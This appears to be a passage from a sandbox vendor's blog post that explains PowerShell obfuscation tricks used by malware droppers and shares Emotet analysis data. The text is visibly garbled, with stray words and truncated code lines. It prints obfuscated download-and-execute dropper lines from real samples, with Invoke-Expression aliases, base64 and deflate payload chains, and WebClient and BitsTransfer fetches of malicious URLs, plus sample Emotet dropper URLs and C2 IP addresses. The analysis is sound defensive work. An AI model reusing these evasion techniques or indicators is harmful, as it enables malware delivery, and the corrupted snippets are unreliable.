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Written by Team

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Warning: this blogpost contains malicious URLs, don't open 'em.

**About** 

Note: Scroll down if you're only interested in the Emotet results.

## **Triage**

#### **Powershell twirks**

Due to a high number of Powersheil droppers in our **public cloud** we've implemented an engine for Powershell that translates Powershell into an **AST**, declarates it, and runs various high-level static analysis algorithms on the deobfuscated AST. For specific use-cases a limited Powershell emulator has also been implemented.

With that out of the way we wanted to share some """Interesting""" features of the Powershell language (naturally accompanied with various obfuscation techniques) and provide results and statistics from Powershell-related samples submitted to **tria.ge**.

We're going to start out with the simplest version to download a file in Powershell. Almost all Powershell droppers use this technique (or the <code>DownloadString</code> version that fetches the URL in-memory) to obtain the real payload from a URL that's often only online for a very limited period of time.

(new-object net.webclient).downloadfile('hxxp://www.kuaishounew.com/wget.exe','wget.

# Hatching Keeping that in mind, most simple Powershell droppers are structured as follows; determine some payload filename, set up one or more URLs, iterate the file size is more than a couple of kilobytes),

then execute it as a new process.

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Powershell being a dynamic scripting language and all that, it's possible to do things in multiple ways. For example, calling the **New-Object cmdlet** can also be expressed with its string obfuscated through the dot expression.

```
.('new-'+'o'+'bjec'+'t') NET.weBCLIENt
```

Or through the similar amp expression. Naturally, Powershell allowing escape sequences, there can be backticks in the identifier.

&('ne'+'w-'+'o'+'bject') nET.wE`BCLieNT



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New-Object nET.`wE`BCLieNT

Or at the end of an identifier. Triage

.('new-obje'+'c'+'t') net`.WebClI

In order to make Powershell of Snamic language, it shall be possible to use a string as method/field identifier (this calls DownloadFile on the net.webclient object). This string identifier may also contain backticks.

```
$Glmodecoxsyda."dO`WnlO`ADfILE"($Muyiwcipde, $Waazouqp);
```

There are many ways to obfuscate a string or an array. Most of the time the split method is called on a string to obtain an array of URLs.

There's also a string formatting operator for "smart" concatenation operations, in this case result in a to the string operator for "hello".

```
PS C:\Users\Administrator> "{1}{0}B("{0','ll'),'he' hello
```

In practice this may look as Jos

Clearly building upon earlier constructs, the "split" method identifier may also be obfuscated with string concatenation. To make matters more interesting, object methods have methods of their own, in this case Invoke to execute the method with the arguments provided to the Invoke method.

```
("<urlshere>").("{0}{1}"-f'Spl','it').Invoke('@')
```

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Also note that it's possible to do Powershell programming without the space bar as most operators can be put right behind each other without whitespaces in-be (a)

The -split operator is interesting, because the assumption is that it would return a list of strings, which is sobably does. But then if you have multiple -split operators following one another, you appear to get a flat list too, so probby that the string separator may also be an integer, internally probably casted to be a string.

```
PS C:\Users\Administrator> "he4llo0w1rld" -split "4" -split 0 -split "1"
he
llo
w
rld
```

Like most scripting languages, it's possible to execute arbitrary Powershell code at runtime (like eval() in Javascript). This is the Invoke-Expression cmdlet or iex short and looks as follows.

PS C:\Users\Administrator> iex 'write-host 1'

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Since Powershell can handle command-line invocations, it also has a built-in pipe operator.

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```
PS C:\Users\Administrator> 'write-host 1'|iex

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```

To avoid specifically mentioning the jex string, many droppers use global Powershell variables to construct the string at runtime paired with the dot and amp expressions. One may find the **\$ENV** variable to be interesting too or at least profits pretty much the only thing that's indexed with a colon mention. Each of the following expressions are equivalent to just write the string at runtime paired with the str

```
&( $VERBOSePREFerence.TOSTRinG()[1,3]+'x'-JOiN'')
& ( $SheLLId[1]+$shEllId[13]+'x')
&( $EnV:cOmSpEc[4,15,25]-JOIN'')
```

Additionally, yes, there's also a **Set-Alias cmdlet** (or sal short) that's capable of essentially symlinking a method or cmdlet to another name in Powershell.

PS C:\Users\Administrator> sal ping iex;ping("write-host 1")
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With the knowledge from all the above, we can now move into deobfuscating the first layer of the following Powershell dropper. It first removes garbage characters of the split operator and then iterates over each character using the foreach-object cmdlet and -bxor operator, that performance is a constant, to get the deobfuscated string.

Interestingly, both operand to the -bxor operator are integer strings, one regular number (base 10) and one hexadecimal number (base 16). Snippet somewhat shortened for improved visibility.

#### **Jobs**

iNVoKE-expREsSIOn([sTRIng]::joIn('', ('16,102e94&92D9&90,81~67025D91086D94&81,87e64

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(This calls Invoke-Expression With the following string, shortened for visibility).

```
$Rjh=new-object Net.WebClient;$YmO='http://www[.]jxprint[.]ru/tad1U3Jam2/...
```

The next step in obfuscation includes adding a base64 blob that's executed (snippet shortened) using

[System.Convert]::FromBase64String(...).

invoke-expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase6

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(This calls Invoke-Expression with the following string, shortened for visibility).

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And if that's not enough, one can always spice it up with a deflate/zlib stream shortened) using New-Object System.IO.Compression.DeflateStram(...).

&( \$VERBOSePREFerence.TOSTRinG() () (New-OBjeCt Io.StrEaMrEADeR( ( Ne

But what if we obfusca Contactarameter? This example casts an array of integers to an array of characters and then to a string (the string "iex"). The Set-Alias command then aliases the sy identifier to the "iex", which is equivalent to iex and thus Invoke-Expression.

```
$qG=[string][char[]]@(0x69,0x65,0x58) -replace ' ','';sal sy $qG;$Wg=((New-Object Ne
```

Next to the foreach-object { ... } construct, there's also the shorter % { ... } construct, both working with the pipe operator, accepting

an item or an array of items. The following results in hello.



Fun fact: if you replace ADOUIT the snippet above with [char] [int] (as was the case in the sample where this example originated from), then Freehell on Windows 10 may avoid running it Triangle throw the This script contains malicious content and has been blocked by your antivirus software.

error. This is what we call the pool by filter:-)

Now that you've seen almost everything, we're introducing the foreach language construct of Sed string. One might expect this to be a language keyword / statement, but well, here goes. This also results in hello Contact

```
((104, 101, 108, 108, 111) | .('for'+'E'+'ach') { ([char][int]$_)})-jOIN''
```


In case you're not convinced by the power of Powershell yet, Powershell has a concept of <code>generic</code> strings that essentially represent plaintext code that can't possibly be correct Powershell code. In other words, it's possible to write down URLs without quotes as one would normally define one or more strings. Not unsurprisingly the comma is actually interpreted correctly and the below <code>-source</code> parameter of <code>start-BitsTransfer</code> results in an array of 3 URLs.

Import-Module BitsTransfer; Start-BitsTransfer -Source hxxps://raw.githubusercontent

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Fortunately for us, the .NET engine also knows the concept of Secure Strings. Since some of our samples in production decrypt "secure strings" and then for the paintext code resulting from it, we have implemented this behavior too.

While we were initially startlet a great that the SecureString took around a 10x increase in size when compared to the plaintext string, this fact is quickly explained by the decryption process. The SecureString is essentially broaded AES CBC encrypted UTF16 encoded string. This string is then joined with the SecureString version number and the Initialization Vector (which itself is base64 encoded), UTF16 process better explains the logic:



In terms of Powershell fun & quirks this is it for today, although there's plenty more to talk about.. wildcards, reflection, powershell





### Emotet results in Abouth

We've had quite some people submit Powershell-based payloads to our public cloud, partially to cur Emotet configuration extractor, but also due to numerous other malware samples that are being uploaded on a daily basis.

Furthermore, we implemented a Powershell static analysis library capable of handling the above Powershell quirks and around 99% of the Powershell payloads to yeve seen in our production environment at **tria.ge**. Combining these two facts, we arrived at the following conclusion:

Giving back to the community, we'll cleasing polished sandbox results on more than 50,000 unique malware samples that we believe to be Emotet-related.

The data can be found here.

An example entry of polished analysis with all artifacts available (with sha256 and sha512 hashes removed for visibility):

```
"family": "emotet",
 "taskid": "200101-1s48ckzwx
"md5": "400-422a49bfa7ac143156.73dba4145,
ARecorded Future Company
"sha1": "6d97ee9291d0b9ad64e2c8da30c945dfa706809d",
 "document": {
    "dropper": {
                              hidCen -en JABGAG4AZwBpAGEAdQB1AGoAeABrAHQAPQAnAFc
     "cmdline": "Powershell __
     "urls": [
         "http://macomp.co.il
                                             -pkx6legg5-92996338/",
         "http://naymov.com/ucheba/kvl0vss-qrex4-501625964/",
         "http://neovita.com/iwa21/ZvfClE/",
         "http://nfsconsulting.
                                    i-bin/YylxPF/",
         "http://nitech.mu/modu
                               10
},
 "payload": {
     "filepath": "C:\\Users\\Admin\\847
     "md5": "8565d2e08b151eac889
    "sha1": "a6102580563981ddba3d399ea524248d716d2022",
 "emotet": {
                               D ntact
     "pubkey":
         "85.100.122.211:80
         "78.189.165.52:8080",
         "88.248.140.80:80",
         "45.79.75.232:8080"
         "124.150.175.133:80",
         ... snip ...
    ]
}
```

Some more information on the data file:

Each line contains one JSON blob detailing one Emotet analysis.

- The taskid field links to the task ID on tria.ge, our cloud sandbox. E.g., the first entry (200101-1dghyjegsn) equals the
- Hatching Tome

  Are archive Mashes, if present, contain the hashes of the archive that was submitted to Triage. E.g., if the sample was delivered as Office do Ane O a Lip file.
  - The document hashes contain the hashes of the Office dropper document or, if the Empterpayload was submitted directly, the Emotet payload.
  - The dropper entry, if present, contains information on the executed Powershell payload. The Dropper URLs that we extracted from this Powershell payload. One may find that many different Office documents execute the exact same Powershell payload, but that the sample hashes irrelevant.
  - The payload hashes, if present, contain the hashes of the dropped Emotet patients and in the hashes of the
  - The emotet entry, if present, contains the RSA Public Key as well as C2 information embedded in the Emotet payload.

#### Conclusion

We've implemented a Powershell deobfuscator and emulator that's capable of handling the vast majority of Powershell payloads that we see in our public cloud. As always, we will continue to improve our sandboxing tooling to improve handling specific use-cases and

we're going to keep an eye on all newly submitted (Powershell and other) samples!

Hatching (potential) Que Guld like to use any of our static analysis capabilities standalone from the sandboxing side of things or if there are other requests related to our sandbox, please do reach out to us.

Happy hunting & analyzing and stay tuned for our upcoming blogposts!

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
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